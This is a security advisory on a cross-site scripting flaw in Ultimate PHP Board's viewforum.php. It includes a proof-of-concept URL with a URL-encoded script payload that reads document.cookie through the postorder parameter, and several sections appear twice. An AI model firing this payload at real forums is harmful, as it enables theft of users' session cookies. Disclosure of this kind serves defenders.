Ultimate PHP Board ViewForum.PHP Cross-Site Scripting Vulnerability
BID:13621
Info
Ultimate PHP Board ViewForum.PHP Cross-Site Scripting Vulnerability
| Bugtraq ID: | 13621 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 13 2005 12:00AM |
| Updated: | May 13 2005 12:00AM |
| Credit: | Morinex Eneco <[email protected]> is credited with the discovery of this vulnerability. |
| Vulnerable: |
Ultimate PHP Board Ultimate PHP Board 1.9.6 Ultimate PHP Board Ultimate PHP Board 1.9 Ultimate PHP Board Ultimate PHP Board 1.8.2 Ultimate PHP Board Ultimate PHP Board 1.8 |
| Not Vulnerable: | |
Discussion
Ultimate PHP Board ViewForum.PHP Cross-Site Scripting Vulnerability
Ultimate PHP Board is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
Ultimate PHP Board is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
Exploit / POC
Ultimate PHP Board ViewForum.PHP Cross-Site Scripting Vulnerability
No exploit is required.
The following proof of concept is available:
http://www.example.com/forum/viewforum.php?id=t=123456&postorder=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63
%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3Cnote%20unescape('=%22%3E%3C%73%63%72%69%70%74%3E%61
%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C')%20==%20'%22%3E<script
>alert(document.cookie)</script>%3C
No exploit is required.
The following proof of concept is available:
http://www.example.com/forum/viewforum.php?id=t=123456&postorder=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63
%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3Cnote%20unescape('=%22%3E%3C%73%63%72%69%70%74%3E%61
%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C')%20==%20'%22%3E<script
>alert(document.cookie)</script>%3C
Solution / Fix
Ultimate PHP Board ViewForum.PHP Cross-Site Scripting Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Ultimate PHP Board ViewForum.PHP Cross-Site Scripting Vulnerability
References:
References:
- Ultimate PHP Board Homepage (Ultimate PHP Board)
- Ultimate PHP Board (UPB) Security Advisory (Morinex Eneco